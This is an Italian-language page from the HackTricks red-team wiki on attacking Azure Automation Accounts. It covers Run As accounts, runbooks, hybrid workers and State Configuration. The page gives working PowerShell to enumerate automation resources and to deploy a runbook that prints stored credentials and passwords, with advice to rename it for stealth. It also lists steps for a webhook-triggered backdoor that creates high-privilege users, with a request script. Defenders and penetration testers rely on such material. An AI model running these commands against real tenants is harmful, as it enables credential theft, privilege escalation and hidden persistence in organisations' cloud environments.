Az - Automation Account

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Informazioni di base

Dalla documentazione: Azure Automation offre un servizio di automazione basato su cloud, aggiornamenti del sistema operativo e configurazione che supporta una gestione coerente in tutti gli ambienti Azure e non Azure. Include l'automazione dei processi, la gestione della configurazione, la gestione degli aggiornamenti, le funzionalità condivise e le funzionalità eterogenee.

Questi sono simili a "attività pianificate" in Azure che ti consentiranno di eseguire azioni (o anche script) per gestire, controllare e configurare l'ambiente Azure.

Account Run As

Quando viene utilizzato l'Account Run As, viene creato un'applicazione Azure AD con certificato autofirmato, viene creato un service principal e viene assegnato il ruolo Contributor per l'account nella sottoscrizione corrente (molti privilegi). Microsoft consiglia di utilizzare una Managed Identity per l'Account di Automazione.

Questo verrà rimosso il 30 settembre 2023 e sostituito con Managed Identities.

Runbooks e Jobs

I Runbooks ti consentono di eseguire codice PowerShell arbitrario. Ciò potrebbe essere abusato da un attaccante per rubare le autorizzazioni del principal associato (se presente). Nel codice dei Runbooks potresti anche trovare informazioni sensibili (come le credenziali).

Se puoi leggere i jobs, fallo perché contengono l'output dell'esecuzione (informazioni potenzialmente sensibili).

Vai su Automation Accounts --> <Seleziona Account di Automazione> --> Runbooks/Jobs/Gruppi di worker ibridi/Attività di monitoraggio/credenziali/variabili/certificati/connessioni

Worker Ibrido

Un Runbook può essere eseguito in un contenitore all'interno di Azure o in un Worker Ibrido (macchina non-Azure). L'Agente Log Analytics viene distribuito sulla VM per registrarla come worker ibrido. I job del worker ibrido vengono eseguiti come SYSTEM su Windows e come account nxautomation su Linux. Ogni Worker Ibrido è registrato in un Gruppo di Worker Ibridi.

Pertanto, se puoi scegliere di eseguire un Runbook in un Worker Ibrido Windows, eseguirai comandi arbitrari all'interno di una macchina esterna come System (bella tecnica di pivot).

Compromissione della configurazione dello stato (SC)

Dalla documentazione: Azure Automation State Configuration è un servizio di gestione della configurazione di Azure che consente di scrivere, gestire e compilare configurazioni di PowerShell Desired State Configuration (DSC) configurazioni per nodi in qualsiasi cloud o data center in locale. Il servizio importa anche Risorse DSC e assegna configurazioni ai nodi di destinazione, tutto nel cloud. È possibile accedere a Azure Automation State Configuration nel portale di Azure selezionando Configurazione dello stato (DSC) sotto Gestione della configurazione.

In queste configurazioni potrebbero essere presenti informazioni sensibili.

RCE

È possibile abusare di SC per eseguire script arbitrari nelle macchine gestite.

pageAz - State Configuration RCE

Enumerazione

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Creare un Runbook

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Estrarre Credenziali e Variabili definite in un Account di Automazione utilizzando un Run Book

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

È possibile fare la stessa cosa modificando un Run Book esistente, direttamente dalla console web.

Passaggi per la configurazione di una creazione automatica di utenti ad alto privilegio

1. Inizializza un Automation Account

  • Azione richiesta: Crea un nuovo Automation Account.

  • Impostazione specifica: Assicurati che "Create Azure Run As account" sia abilitato.

2. Importa e configura il Runbook

  • Origine: Scarica il runbook di esempio dal Repository GitHub di MicroBurst.

  • Azioni richieste:

  • Importa il runbook nell'Automation Account.

  • Pubblica il runbook per renderlo eseguibile.

  • Collega un webhook al runbook, abilitando i trigger esterni.

3. Configura il modulo AzureAD

  • Azione richiesta: Aggiungi il modulo AzureAD all'Automation Account.

  • Passaggio aggiuntivo: Assicurati che tutti i moduli di automazione di Azure siano aggiornati alla loro ultima versione.

4. Assegnazione dei permessi

  • Ruoli da assegnare:

  • Amministratore utente

  • Proprietario della sottoscrizione

  • Destinazione: Assegna questi ruoli all'Automation Account per ottenere i privilegi necessari.

5. Consapevolezza della possibile perdita di accesso

  • Nota: Sii consapevole che la configurazione di tale automazione potrebbe comportare la perdita di controllo sulla sottoscrizione.

6. Avvia la creazione dell'utente

  • Avvia il webhook per creare un nuovo utente inviando una richiesta POST.

  • Utilizza lo script PowerShell fornito, assicurandoti di sostituire $uri con il tuo effettivo URL del webhook e aggiornando $AccountInfo con il nome utente e la password desiderati.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated